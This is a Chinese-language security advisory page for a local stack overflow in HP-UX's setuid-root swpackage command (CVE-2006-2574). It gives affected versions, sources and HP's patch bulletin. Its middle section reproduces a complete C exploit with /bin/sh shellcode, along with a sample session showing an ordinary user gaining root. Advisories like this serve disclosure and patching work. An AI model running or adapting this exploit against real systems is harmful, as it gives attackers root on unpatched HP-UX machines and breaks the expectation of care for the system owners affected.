安全研究
安全漏洞
HP-UX Software Distributor swpackage命令行参数本地栈溢出漏洞
发布日期:2006-05-24
更新日期:2006-10-26
受影响系统:
HP HP-UX B.11.23描述:
HP HP-UX B.11.11
HP HP-UX B.11.04
HP HP-UX B.11.00
BUGTRAQ ID: 20706
CVE(CAN) ID: CVE-2006-2574
HP-UX是一款HP公司开发的UNIX操作系统。
HP-UX的swpackage在处理“-S”可选命令行参数时存在栈溢出漏洞,本地攻击者可能利用此漏洞获得系统的root用户入侵。
<*来源:NCC Group
链接:http://secunia.com/advisories/20230
http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
* =======================================
* HP-UX 'swpackage' contains an exploitable stack overflow
* in the handling of command line arguements. Specifically the
* problem occurs due to insufficent bounds checking in the "-S"
* optional arguement. 'swpackage' is installed setuid root by
* default in HP-UX and allows for local root compromise when
* exploiting this issue.
*
* Example.
* $ cc prdelka-vs-HPUX-swpackage.c -o prdelka-vs-HPUX-swpackage
* /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file
* (prdelka-vs-HPUX-swpackage.o) was detected. The linked output may
* not run on a PA 1.x system.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ls -al /usr/sbin/swpackage
* -r-sr-xr-x 2 root bin 1323008 Nov 3 2003 /usr/sbin/swpackage
* $ ./prdelka-vs-HPUX-swpackage
* [ HP-UX 11i 'swpackage' local root exploit
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
*
* - prdelka
*/
char shellcode[]=
"\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";
int main(){
char adr[4],*b,*a,*c,*envp[1];
int i;
*(unsigned long*)adr=0x7f7f0434;
printf("[ HP-UX 11i 'swpackage' local root exploit\n");
b=(char*)malloc(2048);
a=b;
memset(b,0,2048);
memset(b,'a',1053);
b+=1053;
for(i=0;i<4;i++) *b++=adr[i%4];
c=(char*)malloc(2048);
b=c;
memset(c,0,2048);
sprintf(c,"PATH=");
b+=5;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
envp[0]=c;
envp[1]=0;
execle("/usr/sbin/swpackage","swpackage","-S",a,0,envp);
}
// milw0rm.com [2006-10-24]
建议:
厂商补丁:
HP
--
HP已经为此发布了一个安全公告(HPSBUX02114)以及相应补丁:
HPSBUX02114:SSRT061115 rev.1 - HP-UX Running Software Distributor Local Elevation of Privilege
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00659649&hpweb_printable=true
浏览次数:4139
严重程度:0(网友投票)
绿盟科技给您安全的保障
